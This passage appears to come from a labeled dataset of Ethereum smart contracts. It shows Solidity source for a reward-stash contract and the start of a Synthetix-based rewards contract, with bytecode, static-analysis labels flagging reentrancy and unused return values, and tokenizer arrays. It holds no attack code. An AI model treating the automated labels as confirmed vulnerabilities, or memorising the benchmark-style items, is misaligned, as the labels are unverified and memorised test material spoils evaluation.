for (uint256 x = i; x < tokenCount; x++) { IRewardFactory(rewardFactory).removeActiveReward(tokenInfo[x].token,pid); } if (i != tokenCount) { tokenCount = i; } break; } setToken(i, token); } } //replace a token on token list function setToken(uint256 _tid, address _token) internal { TokenInfo storage t = tokenInfo[_tid]; address currentToken = t.token; if(currentToken != _token){ //set old as inactive IRewardFactory(rewardFactory).removeActiveReward(currentToken,pid); //set token address t.token = _token; //create new reward contract (,,,address mainRewardContract,,) = IDeposit(operator).poolInfo(pid); address rewardContract = IRewardFactory(rewardFactory).CreateTokenRewards( _token, mainRewardContract, address(this)); t.rewardAddress = rewardContract; t.lastActiveTime = 0; //do not set as active yet, wait for first earmark } } //pull assigned tokens from staker to stash function stashRewards() external returns(bool){ require(msg.sender == operator, "!authorized"); //after depositing/withdrawing, extra incentive tokens are transfered to the staking contract //need to pull them off and stash here. for(uint i=0; i < tokenCount; i++){ TokenInfo storage t = tokenInfo[i]; address token = t.token; if(token == address(0)) continue; //only stash if rewards are active if(block.timestamp <= t.lastActiveTime + WEEK){ uint256 before = IERC20(token).balanceOf(address(this)); IStaker(staker).withdraw(token); //check for multiple pools claiming same token uint256 activeCount = IRewardFactory(rewardFactory).activeRewardCount(token); if(activeCount > 1){ //take difference of before/after(only send new tokens) uint256 amount = IERC20(token).balanceOf(address(this)); amount = amount.sub(before); //send to arbitrator address arb = IDeposit(operator).rewardArbitrator(); if(arb != address(0)){ IERC20(token).safeTransfer(arb, amount); } } } } return true; } //send all extra rewards to their reward contracts function processStash() external returns(bool){ require(msg.sender == operator, "!authorized"); for(uint i=0; i < tokenCount; i++){ TokenInfo storage t = tokenInfo[i]; address token = t.token; if(token == address(0)) continue; uint256 amount = IERC20(token).balanceOf(address(this)); if (amount > 0) { historicalRewards[token] = historicalRewards[token].add(amount); if(token == crv){ //if crv, send back to booster to distribute IERC20(token).safeTransfer(operator, amount); continue; } //add to reward contract address rewards = t.rewardAddress; if(rewards == address(0)) continue; IERC20(token).safeTransfer(rewards, amount); IRewards(rewards).queueNewRewards(amount); } } return true; } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c80639f181b5e1161008c578063ca8b017611610066578063ca8b0176146101d3578063cb00aa73146101db578063cc33c87514610201578063f106845414610248576100cf565b80639f181b5e146101a9578063a6f19c84146101c3578063b87bd481146101cb576100cf565b806317d7de7c146100d4578063245e4bf014610151578063372500ab14610175578063570ca735146101915780635ebaf1db146101995780636a4874a1146101a1575b600080fd5b6100dc610250565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101165781810151838201526020016100fe565b50505050905090810190601f1680156101435780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61015961027c565b604080516001600160a01b039092168252519081900360200190f35b61017d6102a0565b604080519115158252519081900360200190f35b610159610b98565b610159610bbc565b610159610be0565b6101b1610bf8565b60408051918252519081900360200190f35b610159610bfe565b61017d610c22565b61017d610fd1565b6101b1600480360360208110156101f157600080fd5b50356001600160a01b031661122d565b61021e6004803603602081101561021757600080fd5b503561123f565b604080516001600160a01b0394851681529290931660208301528183015290519081900360600190f35b6101b1611270565b60408051808201909152601281527122bc3a3930a932bbb0b93229ba30b9b42b1960711b602082015290565b7f000000000000000000000000edccb35798fae4925718a43cc608ae136208aa8d81565b6000336001600160a01b037f000000000000000000000000f403c135812408bfbe8713b5a23a04b3d48aae31161461030d576040805162461bcd60e51b815260206004820152600b60248201526a08585d5d1a1bdc9a5e995960aa1b604482015290519081900360640190fd5b610315611294565b6001548015610b905760608167ffffffffffffffff8111801561033757600080fd5b50604051908082528060200260200182016040528015610361578160200160208202803683370190505b50905060005b82811015610438576002816008811061037c57fe5b6003020154604080516370a0823160e01b81526001600160a01b037f000000000000000000000000989aeb4d175e16225e39e87d0d97a3360524ad8081166004830152915191909216916370a08231916024808301926020929190829003018186803b1580156103eb57600080fd5b505afa1580156103ff573d6000803e3d6000fd5b505050506040513d602081101561041557600080fd5b5051825183908390811061042557fe5b6020908102919091010152600101610367565b507f000000000000000000000000f403c135812408bfbe8713b5a23a04b3d48aae316001600160a01b0316636c7b69cb7f00000000000000000000000000000000000000000000000000000000000000197f000000000000000000000000182b723a58739a9c974cfdb385ceadb237453c286040518363ffffffff1660e01b815260040180838152602001826001600160a01b0316815260200192505050602060405180830381600087803b1580156104f057600080fd5b505af1158015610504573d6000803e3d6000fd5b505050506040513d602081101561051a57600080fd5b50600090505b82811015610b8d5760006002826008811061053757fe5b6003020154604080516370a0823160e01b81526001600160a01b037f000000000000000000000000989aeb4d175e16225e39e87d0d97a3360524ad8081166004830152915191909216925060009183916370a0823191602480820192602092909190829003018186803b1580156105ad57600080fd5b505afa1580156105c1573d6000803e3d6000fd5b505050506040513d60208110156105d757600080fd5b505184519091508490849081106105ea57fe5b60200260200101518111156108b4577f000000000000000000000000989aeb4d175e16225e39e87d0d97a3360524ad806001600160a01b03166351cff8d9836040518263ffffffff1660e01b815260040180826001600160a01b03168152602001915050600060405180830381600087803b15801561066857600080fd5b505af115801561067c573d6000803e3d6000fd5b50505050426002846008811061068e57fe5b60030201600201819055507f000000000000000000000000edccb35798fae4925718a43cc608ae136208aa8d6001600160a01b031663b7f927b1837f00000000000000000000000000000000000000000000000000000000000000196040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b15801561073057600080fd5b505af1158015610744573d6000803e3d6000fd5b505050506040513d602081101561075a57600080fd5b505060408051630d5843f760e01b81526001600160a01b03848116600483015291516000927f000000000000000000000000edccb35798fae4925718a43cc608ae136208aa8d1691630d5843f7916024808301926020929190829003018186803b1580156107c757600080fd5b505afa1580156107db573d6000803e3d6000fd5b505050506040513d60208110156107f157600080fd5b5051905060018111156108ae5760007f000000000000000000000000f403c135812408bfbe8713b5a23a04b3d48aae316001600160a01b031663043b684a6040518163ffffffff1660e01b8152600401602060405180830381600087803b15801561085b57600080fd5b505af115801561086f573d6000803e3d6000fd5b505050506040513d602081101561088557600080fd5b505190506001600160a01b038116156108ac576108ac6001600160a01b038516828561145c565b505b50610b83565b62093a80600284600881106108c557fe5b60030201600201540142111561099e577f000000000000000000000000edccb35798fae4925718a43cc608ae136208aa8d6001600160a01b031663ef9126ad837f00000000000000000000000000000000000000000000000000000000000000196040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b15801561096c57600080fd5b505af1158015610980573d6000803e3d6000fd5b505050506040513d602081101561099657600080fd5b50610b839050565b8015610b83577f000000000000000000000000989aeb4d175e16225e39e87d0d97a3360524ad806001600160a01b03166351cff8d9836040518263ffffffff1660e01b815260040180826001600160a01b03168152602001915050600060405180830381600087803b158015610a1357600080fd5b505af1158015610a27573d6000803e3d6000fd5b5050505060007f000000000000000000000000edccb35798fae4925718a43cc608ae136208aa8d6001600160a01b0316630d5843f7846040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b158015610a9a57600080fd5b505afa158015610aae573d6000803e3d6000fd5b505050506040513d6020811015610ac457600080fd5b505190506001811115610b815760007f000000000000000000000000f403c135812408bfbe8713b5a23a04b3d48aae316001600160a01b031663043b684a6040518163ffffffff1660e01b8152600401602060405180830381600087803b158015610b2e57600080fd5b505af1158015610b42573d6000803e3d6000fd5b505050506040513d6020811015610b5857600080fd5b505190506001600160a01b03811615610b7f57610b7f6001600160a01b038516828561145c565b505b505b5050600101610520565b50505b600191505090565b7f000000000000000000000000f403c135812408bfbe8713b5a23a04b3d48aae3181565b7f000000000000000000000000989aeb4d175e16225e39e87d0d97a3360524ad8081565b73d533a949740bb3306d119cc777fa900ba034cd5281565b60015481565b7f000000000000000000000000182b723a58739a9c974cfdb385ceadb237453c2881565b6000336001600160a01b037f000000000000000000000000f403c135812408bfbe8713b5a23a04b3d48aae311614610c8f576040805162461bcd60e51b815260206004820152600b60248201526a08585d5d1a1bdc9a5e995960aa1b604482015290519081900360640190fd5b60005b600154811015610fc957600060028260088110610cab57fe5b6003020180549091506001600160a01b031680610cc9575050610fc1565b62093a808260020154014211610fbe576000816001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b158015610d2857600080fd5b505afa158015610d3c573d6000803e3d6000fd5b505050506040513d6020811015610d5257600080fd5b5051604080516351cff8d960e01b81526001600160a01b03858116600483015291519293507f000000000000000000000000989aeb4d175e16225e39e87d0d97a3360524ad80909116916351cff8d99160248082019260009290919082900301818387803b158015610dc357600080fd5b505af1158015610dd7573d6000803e3d6000fd5b5050505060007f000000000000000000000000edccb35798fae4925718a43cc608ae136208aa8d6001600160a01b0316630d5843f7846040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b158015610e4a57600080fd5b505afa158015610e5e573d6000803e3d6000fd5b505050506040513d6020811015610e7457600080fd5b505190506001811115610fbb576000836001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b158015610ed057600080fd5b505afa158015610ee4573d6000803e3d6000fd5b505050506040513d6020811015610efa57600080fd5b50519050610f0881846114b3565b905060007f000000000000000000000000f403c135812408bfbe8713b5a23a04b3d48aae316001600160a01b031663043b684a6040518163ffffffff1660e01b8152600401602060405180830381600087803b158015610f6757600080fd5b505af1158015610f7b573d6000803e3d6000fd5b505050506040513d6020811015610f9157600080fd5b505190506001600160a01b03811615610fb857610fb86001600160a01b038616828461145c565b50505b50505b50505b600101610c92565b506001905090565b6000336001600160a01b037f000000000000000000000000f403c135812408bfbe8713b5a23a04b3d48aae31161461103e576040805162461bcd60e51b815260206004820152600b60248201526a08585d5d1a1bdc9a5e995960aa1b604482015290519081900360640190fd5b60005b600154811015610fc95760006002826008811061105a57fe5b6003020180549091506001600160a01b031680611078575050611225565b6000816001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b1580156110c757600080fd5b505afa1580156110db573d6000803e3d6000fd5b505050506040513d60208110156110f157600080fd5b505190508015611221576001600160a01b03821660009081526020819052604090205461111e9082611510565b6001600160a01b03831660008181526020819052604090209190915573d533a949740bb3306d119cc777fa900ba034cd521415611191576111896001600160a01b0383167f000000000000000000000000f403c135812408bfbe8713b5a23a04b3d48aae318361145c565b505050611225565b60018301546001600160a01b0316806111ad5750505050611225565b6111c16001600160a01b038416828461145c565b806001600160a01b031663590a41f5836040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561120757600080fd5b505af115801561121b573d6000803e3d6000fd5b50505050505b5050505b600101611041565b60006020819052908152604090205481565b6002816008811061124c57fe5b60030201805460018201546002909201546001600160a01b03918216935091169083565b7f000000000000000000000000000000000000000000000000000000000000001981565b60005b60088110156114595760007f000000000000000000000000182b723a58739a9c974cfdb385ceadb237453c286001600160a01b03166354c49fe9836040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b15801561130657600080fd5b505afa15801561131a573d6000803e3d6000fd5b505050506040513d602081101561133057600080fd5b505190506001600160a01b03811661144657815b600154811015611430577f000000000000000000000000edccb35798fae4925718a43cc608ae136208aa8d6001600160a01b031663ef9126ad6002836008811061138a57fe5b6003020154604080516001600160e01b031960e085901b1681526001600160a01b0390921660048301527f000000000000000000000000000000000000000000000000000000000000001960248301525160448083019260209291908290030181600087803b1580156113fc57600080fd5b505af1158015611410573d6000803e3d6000fd5b505050506040513d602081101561142657600080fd5b5050600101611344565b5060015482146114405760018290555b50611459565b6114508282611571565b50600101611297565b50565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b1790526114ae90849061180a565b505050565b60008282111561150a576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b60008282018381101561156a576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b60006002836008811061158057fe5b6003020180549091506001600160a01b039081169083168114611804577f000000000000000000000000edccb35798fae4925718a43cc608ae136208aa8d6001600160a01b031663ef9126ad827f00000000000000000000000000000000000000000000000000000000000000196040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b15801561163457600080fd5b505af1158015611648573d6000803e3d6000fd5b505050506040513d602081101561165e57600080fd5b505081546001600160a01b0319166001600160a01b0384811691909117835560408051631526fe2760e01b81527f0000000000000000000000000000000000000000000000000000000000000019600482015290516000927f000000000000000000000000f403c135812408bfbe8713b5a23a04b3d48aae311691631526fe279160248083019260c0929190829003018186803b1580156116fe57600080fd5b505afa158015611712573d6000803e3d6000fd5b505050506040513d60c081101561172857600080fd5b506060015160408051637c6b091760e11b81526001600160a01b038781166004830152808416602483015230604483015291519293506000927f000000000000000000000000edccb35798fae4925718a43cc608ae136208aa8d9092169163f8d6122e9160648082019260209290919082900301818787803b1580156117ad57600080fd5b505af11580156117c1573d6000803e3d6000fd5b505050506040513d60208110156117d757600080fd5b50516001850180546001600160a01b0319166001600160a01b039092169190911790555050600060028301555b50505050565b606061185f826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166118bb9092919063ffffffff16565b8051909150156114ae5780806020019051602081101561187e57600080fd5b50516114ae5760405162461bcd60e51b815260040180806020018281038252602a815260200180611aff602a913960400191505060405180910390fd5b60606118ca84846000856118d2565b949350505050565b6060824710156119135760405162461bcd60e51b8152600401808060200182810382526026815260200180611ad96026913960400191505060405180910390fd5b61191c85611a2e565b61196d576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b60006060866001600160a01b031685876040518082805190602001908083835b602083106119ac5780518252601f19909201916020918201910161198d565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114611a0e576040519150601f19603f3d011682016040523d82523d6000602084013e611a13565b606091505b5091509150611a23828286611a34565b979650505050505050565b3b151590565b60608315611a4357508161156a565b825115611a535782518084602001fd5b8160405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a9d578181015183820152602001611a85565b50505050905090810190601f168015611aca5780820380516001836020036101000a031916815260200191505b509250505060405180910390fdfe416464726573733a20696e73756666696369656e742062616c616e636520666f722063616c6c5361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a2646970667358221220c0095100d744468d2b71ef33fec4990219fcd72842896f9d255e307a76429d6f64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 10790, 2546, 2094, 2549, 2063, 2629, 3540, 25746, 2549, 2546, 10790, 26224, 15878, 2098, 2620, 2683, 21619, 2278, 2692, 2581, 2278, 2620, 2487, 2497, 2629, 5243, 2497, 2683, 2546, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1020, 1012, 2260, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 3115, 8785, 16548, 4394, 1999, 1996, 5024, 3012, 2653, 1012, 1008, 1013, 3075, 8785, 21823, 2140, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 10479, 1997, 2048, 3616, 1012, 1008, 1013, 3853, 8117, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 2709, 1037, 1026, 1038, 1029, 1037, 1024, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,610
0x97110bbf5e26afa90d5a56210f03bed325466b2e
/* ____ __ __ __ _ / __/__ __ ___ / /_ / / ___ / /_ (_)__ __ _\ \ / // // _ \/ __// _ \/ -_)/ __// / \ \ / /___/ \_, //_//_/\__//_//_/\__/ \__//_/ /_\_\ /___/ * Synthetix: SOLARITERewards.sol * * Docs: https://docs.synthetix.io/ * * * MIT License * =========== * * Copyright (c) 2020 Synthetix * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE */ // File: @openzeppelin/contracts/math/Math.sol pragma solidity ^0.5.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/GSN/Context.sol pragma solidity ^0.5.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/ownership/Ownable.sol pragma solidity ^0.5.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return _msgSender() == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.5.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.5.5; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * This test is non-exhaustive, and there may be false-negatives: during the * execution of a contract's constructor, its address will be reported as * not containing a contract. * * IMPORTANT: It is unsafe to assume that an address for which this * function returns false is an externally-owned account (EOA) and not a * contract. */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } /** * @dev Converts an `address` into `address payable`. Note that this is * simply a type cast: the actual underlying value is not changed. * * _Available since v2.4.0._ */ function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. * * _Available since v2.4.0._ */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } // File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol pragma solidity ^0.5.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token 